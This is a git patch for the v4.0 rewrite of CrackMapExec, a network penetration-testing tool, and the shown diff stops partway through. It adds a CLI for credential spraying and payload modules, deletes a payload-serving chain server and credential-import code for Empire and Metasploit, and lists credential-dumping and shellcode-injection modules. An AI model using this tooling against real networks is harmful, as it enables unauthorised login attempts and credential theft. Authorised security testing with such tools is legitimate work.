From 9fefd167b049771db8442d40b455bd74b4f95f0b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 15 Dec 2016 00:28:00 -0700 Subject: [PATCH] Initial commit for v4.0 Just fyi for anyone reading this, it's not even close to being finished. The amount of changes are pretty insane, this commit is to serve as a refrence point for myself. Highlights for v4.0: - The whole codebase has been re-written from scratch - Codebase has been cut around 2/4 - Protocols are now modular! In theory we could use CME for everything - Module chaining has been removed for now, still trying to figure out a more elegant solution - Workspaces have implemented in cmedb - The smb protocol's database schema has been changed to support storing users, groups and computers with their respective memberships and relations. - I'm in the process of re-writing most of the modules, will re-add them once i've finished --- .github/ISSUE_TEMPLATE.md | 0 .gitignore | 0 .gitmodules | 0 LICENSE | 0 MANIFEST.in | 0 Makefile | 0 README.md | 0 cme/__init__.py | 0 cme/cli.py | 77 ++ cme/cmechainserver.py | 111 --- cme/cmedb.py | 369 +--------- cme/connection.py | 538 ++------------ cme/context.py | 6 +- cme/crackmapexec.py | 282 +++---- cme/credentials/commonstructs.py | 149 ---- cme/credentials/cryptocommon.py | 32 - cme/credentials/lsa.py | 321 -------- cme/credentials/ntds.py | 696 ------------------ cme/credentials/offlineregistry.py | 48 -- cme/credentials/sam.py | 129 ---- cme/credentials/secretsdump.py | 201 ----- cme/credentials/wdigest.py | 71 -- cme/data/Invoke-EventVwrBypass.ps1 | 0 cme/data/Invoke-Mimikatz.ps1 | 0 cme/data/PowerSploit | 2 +- cme/data/cme.conf | 5 +- cme/data/videos_for_darrel.txt | 21 + cme/enum/lookupsid.py | 124 ---- cme/enum/passpol.py | 132 ---- cme/enum/rpcquery.py | 107 --- cme/enum/shares.py | 42 -- cme/enum/uac.py | 27 - cme/enum/users.py | 149 ---- cme/enum/wmiquery.py | 107 --- cme/first_run.py | 63 +- cme/{credentials => helpers}/__init__.py | 0 cme/helpers/logger.py | 13 + cme/helpers/misc.py | 13 + cme/{helpers.py => helpers/powershell.py} | 56 +- cme/{enum => loaders}/__init__.py | 0 .../module_loader.py} | 44 +- cme/loaders/protocol_loader.py | 36 + cme/logger.py | 14 +- cme/modulechainloader.py | 87 --- cme/modules/com_exec.py | 99 --- cme/modules/empire_exec.py | 67 -- cme/modules/enum_chrome.py | 131 ---- cme/modules/eventvwr_bypass.py | 76 -- cme/modules/example_module.py | 20 +- cme/modules/get_netdomaincontroller.py | 55 ++ cme/modules/get_netgroup.py | 66 ++ .../get_netgroupmember.py} | 0 cme/modules/met_inject.py | 90 --- cme/modules/mimikatz.py | 56 +- cme/modules/mimikittenz.py | 79 -- cme/modules/pe_inject.py | 86 --- cme/modules/powerview.py | 104 --- cme/modules/rundll32_exec.py | 55 -- cme/modules/shellcode_inject.py | 78 -- cme/modules/token_rider.py | 198 ----- cme/modules/tokens.py | 118 --- cme/msfrpc.py | 0 cme/mssql.py | 55 -- cme/{spider => protocols}/__init__.py | 0 cme/protocols/mssql.py | 244 ++++++ cme/protocols/mssql/__init__.py | 0 cme/{ => protocols/mssql}/database.py | 42 +- cme/protocols/mssql/db_navigator.py | 231 ++++++ .../mssql}/mssqlexec.py | 0 cme/protocols/smb.py | 489 ++++++++++++ cme/protocols/smb/__init__.py | 0 cme/{execmethods => protocols/smb}/atexec.py | 6 +- cme/protocols/smb/database.py | 350 +++++++++ cme/protocols/smb/db_navigator.py | 365 +++++++++ cme/{ => protocols/smb}/remotefile.py | 0 cme/{execmethods => protocols/smb}/smbexec.py | 8 +- cme/{spider => protocols/smb}/smbspider.py | 21 +- cme/{execmethods => protocols/smb}/wmiexec.py | 8 +- cme/remoteoperations.py | 509 ------------- cme/servers/__init__.py | 0 cme/{cmeserver.py => servers/http.py} | 20 +- cme/{cmesmbserver.py => servers/smb.py} | 4 +- cme/targetparser.py | 0 requirements.txt | 3 +- setup.cfg | 2 + setup.py | 14 +- 86 files changed, 2355 insertions(+), 5466 deletions(-) mode change 100644 => 100755 .github/ISSUE_TEMPLATE.md mode change 100644 => 100755 .gitignore mode change 100644 => 100755 .gitmodules mode change 100644 => 100755 LICENSE mode change 100644 => 100755 MANIFEST.in mode change 100644 => 100755 Makefile mode change 100644 => 100755 README.md mode change 100644 => 100755 cme/__init__.py create mode 100755 cme/cli.py delete mode 100644 cme/cmechainserver.py mode change 100644 => 100755 cme/cmedb.py mode change 100644 => 100755 cme/connection.py mode change 100644 => 100755 cme/context.py mode change 100644 => 100755 cme/crackmapexec.py delete mode 100644 cme/credentials/commonstructs.py delete mode 100644 cme/credentials/cryptocommon.py delete mode 100644 cme/credentials/lsa.py delete mode 100644 cme/credentials/ntds.py delete mode 100644 cme/credentials/offlineregistry.py delete mode 100644 cme/credentials/sam.py delete mode 100644 cme/credentials/secretsdump.py delete mode 100644 cme/credentials/wdigest.py mode change 100644 => 100755 cme/data/Invoke-EventVwrBypass.ps1 mode change 100644 => 100755 cme/data/Invoke-Mimikatz.ps1 mode change 100644 => 100755 cme/data/cme.conf create mode 100755 cme/data/videos_for_darrel.txt delete mode 100755 cme/enum/lookupsid.py delete mode 100644 cme/enum/passpol.py delete mode 100644 cme/enum/rpcquery.py delete mode 100644 cme/enum/shares.py delete mode 100644 cme/enum/uac.py delete mode 100644 cme/enum/users.py delete mode 100644 cme/enum/wmiquery.py mode change 100644 => 100755 cme/first_run.py rename cme/{credentials => helpers}/__init__.py (100%) mode change 100644 => 100755 create mode 100755 cme/helpers/logger.py create mode 100755 cme/helpers/misc.py rename cme/{helpers.py => helpers/powershell.py} (68%) mode change 100644 => 100755 rename cme/{enum => loaders}/__init__.py (100%) mode change 100644 => 100755 rename cme/{moduleloader.py => loaders/module_loader.py} (64%) mode change 100644 => 100755 create mode 100755 cme/loaders/protocol_loader.py mode change 100644 => 100755 cme/logger.py delete mode 100644 cme/modulechainloader.py delete mode 100644 cme/modules/com_exec.py delete mode 100644 cme/modules/empire_exec.py delete mode 100644 cme/modules/enum_chrome.py delete mode 100644 cme/modules/eventvwr_bypass.py create mode 100644 cme/modules/get_netdomaincontroller.py create mode 100644 cme/modules/get_netgroup.py rename cme/{execmethods/__init__.py => modules/get_netgroupmember.py} (100%) delete mode 100644 cme/modules/met_inject.py delete mode 100644 cme/modules/mimikittenz.py delete mode 100644 cme/modules/pe_inject.py delete mode 100644 cme/modules/powerview.py delete mode 100644 cme/modules/rundll32_exec.py delete mode 100644 cme/modules/shellcode_inject.py delete mode 100644 cme/modules/token_rider.py delete mode 100644 cme/modules/tokens.py mode change 100644 => 100755 cme/msfrpc.py delete mode 100644 cme/mssql.py rename cme/{spider => protocols}/__init__.py (100%) mode change 100644 => 100755 create mode 100755 cme/protocols/mssql.py create mode 100755 cme/protocols/mssql/__init__.py rename cme/{ => protocols/mssql}/database.py (83%) mode change 100644 => 100755 create mode 100644 cme/protocols/mssql/db_navigator.py rename cme/{execmethods => protocols/mssql}/mssqlexec.py (100%) mode change 100644 => 100755 create mode 100755 cme/protocols/smb.py create mode 100755 cme/protocols/smb/__init__.py rename cme/{execmethods => protocols/smb}/atexec.py (98%) mode change 100644 => 100755 create mode 100755 cme/protocols/smb/database.py create mode 100644 cme/protocols/smb/db_navigator.py rename cme/{ => protocols/smb}/remotefile.py (100%) mode change 100644 => 100755 rename cme/{execmethods => protocols/smb}/smbexec.py (97%) mode change 100644 => 100755 rename cme/{spider => protocols/smb}/smbspider.py (92%) mode change 100644 => 100755 rename cme/{execmethods => protocols/smb}/wmiexec.py (97%) mode change 100644 => 100755 delete mode 100644 cme/remoteoperations.py create mode 100755 cme/servers/__init__.py rename cme/{cmeserver.py => servers/http.py} (78%) mode change 100644 => 100755 rename cme/{cmesmbserver.py => servers/smb.py} (97%) mode change 100644 => 100755 mode change 100644 => 100755 cme/targetparser.py mode change 100644 => 100755 requirements.txt create mode 100755 setup.cfg mode change 100644 => 100755 setup.py diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md old mode 100644 new mode 100755 diff --git a/.gitignore b/.gitignore old mode 100644 new mode 100755 diff --git a/.gitmodules b/.gitmodules old mode 100644 new mode 100755 diff --git a/LICENSE b/LICENSE old mode 100644 new mode 100755 diff --git a/MANIFEST.in b/MANIFEST.in old mode 100644 new mode 100755 diff --git a/Makefile b/Makefile old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 diff --git a/cme/__init__.py b/cme/__init__.py old mode 100644 new mode 100755 diff --git a/cme/cli.py b/cme/cli.py new file mode 100755 index 00000000..8069db44 --- /dev/null +++ b/cme/cli.py @@ -0,0 +1,77 @@ +import argparse +import sys +from argparse import RawTextHelpFormatter +from cme.loaders.protocol_loader import protocol_loader +from cme.helpers.logger import highlight + +def gen_cli_args(): + + VERSION = '4.0.0dev' + CODENAME = '\'Smidge\'' + + p_loader = protocol_loader() + protocols = p_loader.get_protocols() + + parser = argparse.ArgumentParser(description=""" + ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ + / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | + | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' + | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | + | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. + \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| + + A swiss army knife for pentesting networks + Forged by @byt3bl33d3r using the powah of dank memes + + Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) + + {}: {} + {}: {} +""".format(highlight('Version', 'red'), + highlight(VERSION), + highlight('Codename', 'red'), + highlight(CODENAME)), + + formatter_class=RawTextHelpFormatter, + version='{} - {}'.format(VERSION, CODENAME), + epilog="I enjoy the simple pleasures of Daffy Dook...") + + parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)") + parser.add_argument("--timeout", default=30, type=int, help='Max timeout in seconds of each thread (default: 30)') + parser.add_argument("--darrell", action='store_true', help='Give Darrell a hand') + parser.add_argument("--verbose", action='store_true', help="Enable verbose output") + + subparsers = parser.add_subparsers(title='Protocols', dest='protocol', description='Available Protocols') + + std_parser = argparse.ArgumentParser(add_help=False) + std_parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets") + std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication') + std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames") + std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="Password(s) or file(s) containing passwords") + fail_group = std_parser.add_mutually_exclusive_group() + fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts') + fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username') + fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host') + + module_parser = argparse.ArgumentParser(add_help=False) + mgroup = module_parser.add_mutually_exclusive_group() + mgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use') + #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') + module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options') + module_parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules') + module_parser.add_argument('--options', dest='module_options', action='store_true', help='Display module options') + module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)') + module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') + module_parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port') + + for protocol in protocols.keys(): + protocol_object = p_loader.load_protocol(protocols[protocol]['path']) + subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser) + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + args = parser.parse_args() + + return args diff --git a/cme/cmechainserver.py b/cme/cmechainserver.py deleted file mode 100644 index ab9c1c0a..00000000 --- a/cme/cmechainserver.py +++ /dev/null @@ -1,111 +0,0 @@ -import BaseHTTPServer -import threading -import ssl -import os -import sys -import logging -from BaseHTTPServer import BaseHTTPRequestHandler -from logging import getLogger -from gevent import sleep -from cme.helpers import highlight -from cme.logger import CMEAdapter -from cme.cmeserver import CMEServer - -class RequestHandler(BaseHTTPRequestHandler): - - def log_message(self, format, *args): - module = self.server.host_chain[self.client_address[0]][0] - server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]}) - server_logger.info("- - %s" % (format%args)) - - def do_GET(self): - current_module = self.server.host_chain[self.client_address[0]][0] - - if hasattr(current_module, 'on_request'): - - module_list = self.server.host_chain[self.client_address[0]][:] - module_list.reverse() - - final_launcher = module_list[0].launcher(self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command) - if len(module_list) > 2: - for module in module_list: - if module == current_module or module == module_list[0]: - continue - - server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]}) - self.server.context.log = server_logger - - final_launcher = module.launcher(self.server.context, final_launcher) - - server_logger = CMEAdapter(getLogger('CME'), {'module': current_module.name.upper(), 'host': self.client_address[0]}) - self.server.context.log = server_logger - - if current_module == module_list[0]: final_launcher = None if not hasattr(module_list[0], 'command') else module_list[0].command - - launcher = current_module.launcher(self.server.context, final_launcher) - payload = current_module.payload(self.server.context, final_launcher) - - current_module.on_request(self.server.context, self, launcher, payload) - - if not hasattr(current_module, 'on_response'): - try: - del self.server.host_chain[self.client_address[0]][0] - except KeyError or IndexError: - pass - - def do_POST(self): - self.server.log.debug(self.server.host_chain) - module = self.server.host_chain[self.client_address[0]][0] - - if hasattr(module, 'on_response'): - server_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': self.client_address[0]}) - self.server.context.log = server_logger - module.on_response(self.server.context, self) - - try: - del self.server.host_chain[self.client_address[0]][0] - except KeyError or IndexError: - pass - - def stop_tracking_host(self): - ''' - This gets called when a module has finshed executing, removes the host from the connection tracker list - ''' - if len(self.server.host_chain[self.client_address[0]]) == 1: - try: - self.server.hosts.remove(self.client_address[0]) - del self.server.host_chain[self.client_address[0]] - except ValueError: - pass - -class CMEChainServer(CMEServer): - - def __init__(self, chain_list, context, logger, srv_host, port, server_type='https'): - - try: - threading.Thread.__init__(self) - - self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler) - self.server.hosts = [] - self.server.host_chain = {} - self.server.chain_list = chain_list - self.server.context = context - self.server.log = context.log - self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem') - - logging.debug('CME chain server type: ' + server_type) - if server_type == 'https': - self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) - - except Exception as e: - errno, message = e.args - if errno == 98 and message == 'Address already in use': - logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port') - else: - logger.error('Error starting HTTP(S) server: {}'.format(message)) - - sys.exit(1) - - def track_host(self, host_ip): - self.server.hosts.append(host_ip) - self.server.host_chain[host_ip] = [module['object'] for module in self.server.chain_list] \ No newline at end of file diff --git a/cme/cmedb.py b/cme/cmedb.py old mode 100644 new mode 100755 index a302d8ac..4c99946f --- a/cme/cmedb.py +++ b/cme/cmedb.py @@ -1,36 +1,22 @@ #!/usr/bin/env python2 - -import requests -from requests import ConnectionError -#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message -from requests.packages.urllib3.exceptions import InsecureRequestWarning -requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - import cmd import sqlite3 import sys import os -import argparse -from time import sleep from ConfigParser import ConfigParser -from cme.msfrpc import Msfrpc -from cme.database import CMEDatabase -from cme.helpers import validate_ntlm +from cme.loaders.protocol_loader import protocol_loader class CMEDatabaseNavigator(cmd.Cmd): - def __init__(self, db_path, config_path): + def __init__(self, config_path): cmd.Cmd.__init__(self) - self.prompt = 'cmedb > ' - try: - # set the database connection to autocommit w/ isolation level - conn = sqlite3.connect(db_path, check_same_thread=False) - conn.text_factory = str - conn.isolation_level = None - self.db = CMEDatabase(conn) - except Exception as e: - print "[-] Could not connect to database: {}".format(e) - sys.exit(1) + self.workspace_dir = os.path.expanduser('~/.cme/workspaces') + self.workspace = 'default' + self.db = None + self.conn = None + self.prompt = 'cmedb ({}) > '.format(self.workspace) + self.p_loader = protocol_loader() + self.protocols = self.p_loader.get_protocols() try: self.config = ConfigParser() @@ -39,332 +25,45 @@ class CMEDatabaseNavigator(cmd.Cmd): print "[-] Error reading cme.conf: {}".format(e) sys.exit(1) - def display_creds(self, creds): + def open_proto_db(self, db_path): + #Set the database connection to autocommit w/ isolation level + self.conn = sqlite3.connect(db_path, check_same_thread=False) + self.conn.text_factory = str + self.conn.isolation_level = None - print "\nCredentials:\n" - print " CredID Admin On CredType Domain UserName Password" - print " ------ -------- -------- ------ -------- --------" + def do_proto(self, proto): + if not proto: return - for cred in creds: - # (id, credtype, domain, username, password, host, notes, sid) - credID = cred[0] - credType = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] + proto_db_path = os.path.join(self.workspace_dir, self.workspace, proto + '.db') + if os.path.exists(proto_db_path): + self.open_proto_db(proto_db_path) + protocol_object = self.p_loader.load_protocol(self.protocols[proto]['nvpath']) - links = self.db.get_links(credID=credID) + #try: + proto_menu = getattr(protocol_object, 'navigator')(self) + proto_menu.cmdloop() + #except: + # pass - print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), - '{:<13}'.format(str(len(links)) + ' Host(s)'), - '{:<12}'.format(credType), - u'{:<17}'.format(domain.decode('utf-8')), - u'{:<21}'.format(username.decode('utf-8')), - u'{:<17}'.format(password.decode('utf-8'))) + def do_workspace(self, line): + if not line: return - print "" - - def display_hosts(self, hosts): - - print "\nHosts:\n" - print " HostID Admins IP Hostname Domain OS" - print " ------ ------ -- -------- ------ --" - - for host in hosts: - # (id, ip, hostname, domain, os) - hostID = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - - links = self.db.get_links(hostID=hostID) - - print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID), - '{:<15}'.format(str(len(links)) + ' Cred(s)'), - '{:<17}'.format(ip), - u'{:<25}'.format(hostname.decode('utf-8')), - u'{:<17}'.format(domain.decode('utf-8')), - '{:<17}'.format(os)) - - print "" + if os.path.exists(os.path.join(self.workspace_dir, line)): + self.workspace = line + self.prompt = 'cmedb ({}) >'.format(line) def do_exit(self, line): sys.exit(0) - def do_import(self, line): - - if not line: - return - - if line == 'empire': - headers = {'Content-Type': 'application/json'} - - #Pull the username and password from the config file - payload = {'username': self.config.get('Empire', 'username'), - 'password': self.config.get('Empire', 'password')} - - #Pull the host and port from the config file - base_url = 'https://{}:{}'.format(self.config.get('Empire', 'api_host'), self.config.get('Empire', 'api_port')) - - try: - r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) - if r.status_code == 200: - token = r.json()['token'] - - url_params = {'token': token} - r = requests.get(base_url + '/api/creds', headers=headers, params=url_params, verify=False) - creds = r.json() - - for cred in creds['creds']: - if cred['credtype'] == 'token' or cred['credtype'] == 'krbtgt' or cred['username'].endswith('$'): - continue - - self.db.add_credential(cred['credtype'], cred['domain'], cred['username'], cred['password']) - - print "[+] Empire credential import successful" - else: - print "[-] Error authenticating to Empire's RESTful API server!" - - except ConnectionError as e: - print "[-] Unable to connect to Empire's RESTful API server: {}".format(e) - - elif line == 'metasploit': - msf = Msfrpc({'host': self.config.get('Metasploit', 'rpc_host'), - 'port': self.config.get('Metasploit', 'rpc_port')}) - - try: - msf.login('msf', self.config.get('Metasploit', 'password')) - except MsfAuthError: - print "[-] Error authenticating to Metasploit's MSGRPC server!" - return - - console_id = str(msf.call('console.create')['id']) - - msf.call('console.write', [console_id, 'creds\n']) - - sleep(2) - - creds = msf.call('console.read', [console_id]) - - for entry in creds['data'].split('\n'): - cred = entry.split() - try: - host = cred[0] - port = cred[2] - proto = cred[3] - username = cred[4] - password = cred[5] - cred_type = cred[6] - - if proto == '(smb)' and cred_type == 'Password': - self.db.add_credential('plaintext', '', username, password) - - except IndexError: - continue - - msf.call('console.destroy', [console_id]) - - print "[+] Metasploit credential import successful" - - def complete_import(self, text, line, begidx, endidx): - "Tab-complete 'import' commands." - - commands = ["empire", "metasploit"] - - mline = line.partition(' ')[2] - offs = len(mline) - len(text) - return [s[offs:] for s in commands if s.startswith(mline)] - - def do_hosts(self, line): - - filterTerm = line.strip() - - if filterTerm == "": - hosts = self.db.get_hosts() - self.display_hosts(hosts) - - else: - hosts = self.db.get_hosts(filterTerm=filterTerm) - - if len(hosts) > 1: - self.display_hosts(hosts) - elif len(hosts) == 1: - print "\nHost(s):\n" - print " HostID IP Hostname Domain OS" - print " ------ -- -------- ------ --" - - hostIDList = [] - - for host in hosts: - hostID = host[0] - hostIDList.append(hostID) - - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - - print u" {}{}{}{}{}".format('{:<8}'.format(hostID), - '{:<17}'.format(ip), - u'{:<25}'.format(hostname.decode('utf-8')), - u'{:<17}'.format(domain.decode('utf-8')), - '{:<17}'.format(os)) - - print "" - - print "\nCredential(s) with Admin Access:\n" - print " CredID CredType Domain UserName Password" - print " ------ -------- ------ -------- --------" - - for hostID in hostIDList: - links = self.db.get_links(hostID=hostID) - - for link in links: - linkID, credID, hostID = link - creds = self.db.get_credentials(filterTerm=credID) - - for cred in creds: - credID = cred[0] - credType = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] - - print u" {}{}{}{}{}".format('{:<8}'.format(credID), - '{:<12}'.format(credType), - u'{:<17}'.format(domain.decode('utf-8')), - u'{:<21}'.format(username.decode('utf-8')), - u'{:<17}'.format(password.decode('utf-8'))) - - print "" - - def do_creds(self, line): - - filterTerm = line.strip() - - if filterTerm == "": - creds = self.db.get_credentials() - self.display_creds(creds) - - elif filterTerm.split()[0].lower() == "add": - - # add format: "domain username password - args = filterTerm.split()[1:] - - if len(args) == 3: - domain, username, password = args - if validate_ntlm(password): - self.db.add_credential("hash", domain, username, password) - else: - self.db.add_credential("plaintext", domain, username, password) - - else: - print "[!] Format is 'add domain username password" - return - - elif filterTerm.split()[0].lower() == "remove": - - args = filterTerm.split()[1:] - if len(args) != 1 : - print "[!] Format is 'remove '" - return - else: - self.db.remove_credentials(args) - self.db.remove_links(credIDs=args) - - elif filterTerm.split()[0].lower() == "plaintext": - creds = self.db.get_credentials(credtype="plaintext") - self.display_creds(creds) - - elif filterTerm.split()[0].lower() == "hash": - creds = self.db.get_credentials(credtype="hash") - self.display_creds(creds) - - else: - creds = self.db.get_credentials(filterTerm=filterTerm) - - print "\nCredential(s):\n" - print " CredID CredType Pillaged From HostID Domain UserName Password" - print " ------ -------- -------------------- ------ -------- --------" - - credIDList = [] - - for cred in creds: - credID = cred[0] - credIDList.append(credID) - - credType = cred[1] - domain = cred[2] - username = cred[3] - password = cred[4] - pillaged_from = cred[5] - - print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), - '{:<12}'.format(credType), - '{:<22}'.format(pillaged_from), - u'{:<17}'.format(domain.decode('utf-8')), - u'{:<21}'.format(username.decode('utf-8')), - u'{:<17}'.format(password.decode('utf-8')) - ) - - print "" - - print "\nAdmin Access to Host(s):\n" - print " HostID IP Hostname Domain OS" - print " ------ -- -------- ------ --" - - for credID in credIDList: - links = self.db.get_links(credID=credID) - - for link in links: - linkID, credID, hostID = link - hosts = self.db.get_hosts(hostID) - - for host in hosts: - hostID = host[0] - ip = host[1] - hostname = host[2] - domain = host[3] - os = host[4] - - print u" {}{}{}{}{}".format('{:<8}'.format(hostID), - '{:<17}'.format(ip), - u'{:<25}'.format(hostname.decode('utf-8')), - u'{:<17}'.format(domain.decode('utf-8')), - '{:<17}'.format(os)) - - print "" - - def complete_creds(self, text, line, begidx, endidx): - "Tab-complete 'creds' commands." - - commands = [ "add", "remove", "hash", "plaintext"] - - mline = line.partition(' ')[2] - offs = len(mline) - len(text) - return [s[offs:] for s in commands if s.startswith(mline)] - def main(): - - parser = argparse.ArgumentParser() - parser.add_argument("--db-path", type=str, default='~/.cme/cme.db', help="Path to CME database (default: ~/.cme/cme.db)") - parser.add_argument("--config-path", type=str, default='~/.cme/cme.conf', help='Path to the CME configuration file (default: ~/.cme/cme.conf)') - args = parser.parse_args() - - db_path = os.path.expanduser(args.db_path) - config_path = os.path.expanduser(args.config_path) - - if not os.path.exists(db_path): - print '[-] Path to database invalid!' - sys.exit(1) + config_path = os.path.expanduser('~/.cme/cme.conf') if not os.path.exists(config_path): - print "[-] Path to config file invalid!" + print "[-] Unable to find config file" sys.exit(1) try: - cmedbnav = CMEDatabaseNavigator(db_path, config_path) + cmedbnav = CMEDatabaseNavigator(config_path) cmedbnav.cmdloop() except KeyboardInterrupt: - pass \ No newline at end of file + pass diff --git a/cme/connection.py b/cme/connection.py old mode 100644 new mode 100755 index fb7dc027..b67a1499 --- a/cme/connection.py +++ b/cme/connection.py @@ -1,33 +1,8 @@ -import logging -import socket -from logging import getLogger from traceback import format_exc -from StringIO import StringIO -from functools import wraps from gevent.coros import BoundedSemaphore -from impacket.smbconnection import SMBConnection, SessionError -from impacket.nmb import NetBIOSError -from impacket import tds -from cme.mssql import * -from impacket.dcerpc.v5.rpcrt import DCERPCException -from cme.helpers import highlight, create_ps_command +from functools import wraps from cme.logger import CMEAdapter from cme.context import Context -from cme.enum.shares import ShareEnum -from cme.enum.uac import UAC -from cme.enum.rpcquery import RPCQUERY -from cme.enum.passpol import PassPolDump -from cme.enum.users import SAMRDump -from cme.enum.wmiquery import WMIQUERY -from cme.enum.lookupsid import LSALookupSid -from cme.credentials.secretsdump import DumpSecrets -from cme.credentials.wdigest import WDIGEST -from cme.spider.smbspider import SMBSpider -from cme.execmethods.mssqlexec import MSSQLEXEC -from cme.execmethods.wmiexec import WMIEXEC -from cme.execmethods.smbexec import SMBEXEC -from cme.execmethods.atexec import TSCH_EXEC -from impacket.dcerpc.v5 import transport, scmr sem = BoundedSemaphore(1) global_failed_logins = 0 @@ -39,340 +14,105 @@ def requires_admin(func): return func(self, *args, **kwargs) return wraps(func)(_decorator) -class Connection: +class connection: - def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): + def __init__(self, args, db, host): self.args = args self.db = db self.host = host - self.module = module - self.chain_list = chain_list - self.cmeserver = cmeserver - self.share_name = share_name self.conn = None + self.admin_privs = False self.hostname = None - self.domain = None - self.server_os = None self.logger = None self.password = None self.username = None - self.hash = None - self.admin_privs = False self.failed_logins = 0 - - try: - smb = SMBConnection(self.host, self.host, None, self.args.smb_port) + self.local_ip = None - #Get our IP from the socket - local_ip = smb.getSMBServer().get_socket().getsockname()[0] + self.proto_flow() - #Get the remote ip address (in case the target is a hostname) - remote_ip = smb.getRemoteHost() + @staticmethod + def proto_args(std_parser, module_parser): + return - try: - smb.login('' , '') - except SessionError as e: - if "STATUS_ACCESS_DENIED" in e.message: - pass + def proto_logger(self): + pass - self.host = remote_ip - self.domain = smb.getServerDomain() - self.hostname = smb.getServerName() - self.server_os = smb.getServerOS() + def enum_host_info(self): + return - if not self.domain: - self.domain = self.hostname + def print_host_info(info): + return - self.db.add_host(self.host, self.hostname, self.domain, self.server_os) + def create_conn_obj(self): + return - self.logger = CMEAdapter(getLogger('CME'), { - 'host': self.host, - 'port': self.args.smb_port, - 'hostname': u'{}'.format(self.hostname) - }) + def check_if_admin(self): + return - self.logger.info(u"{} (name:{}) (domain:{})".format( - self.server_os, - self.hostname.decode('utf-8'), - self.domain.decode('utf-8') - )) + def plaintext_login(self, domain, username, password): + return - try: - ''' - DC's seem to want us to logoff first, windows workstations sometimes reset the connection - (go home Windows, you're drunk) - ''' - smb.logoff() - except: - pass + def hash_login(self, domain, username, ntlm_hash): + return - if self.args.mssql: - instances = None - self.logger.extra['port'] = self.args.mssql_port + def proto_flow(self): + if self.create_conn_obj(): + self.enum_host_info() + self.proto_logger() + self.print_host_info() + if self.login(): + if hasattr(self.args, 'module') and self.args.module: - mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) - mssql.connect() + module_logger = CMEAdapter(extra={ + 'module': self.module.name.upper(), + 'host': self.host, + 'port': self.args.smb_port, + 'hostname': self.hostname + }) - instances = mssql.getInstances(10) - if len(instances) > 0: - self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) - for i, instance in enumerate(instances): - self.logger.highlight("Instance {}".format(i)) - for key in instance.keys(): - self.logger.highlight(key + ":" + instance[key]) - - try: - mssql.disconnect() - except: - pass - - if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: - - if self.args.mssql and (instances is not None and len(instances) > 0): - self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) - self.conn.connect() - - elif not args.mssql: - self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) - - except socket.error: - pass - - if self.conn: - if self.args.domain: - self.domain = self.args.domain - - if self.args.local_auth: - self.domain = self.hostname - - self.login() - - if (self.password is not None or self.hash is not None) and self.username is not None: - - if self.module or self.chain_list: - - if self.chain_list: - module = self.chain_list[0]['object'] - - module_logger = CMEAdapter(getLogger('CME'), { - 'module': module.name.upper(), - 'host': self.host, - 'port': self.args.smb_port, - 'hostname': self.hostname - }) context = Context(self.db, module_logger, self.args) - context.localip = local_ip + context.localip = self.local_ip - if hasattr(module, 'on_request') or hasattr(module, 'has_response'): - 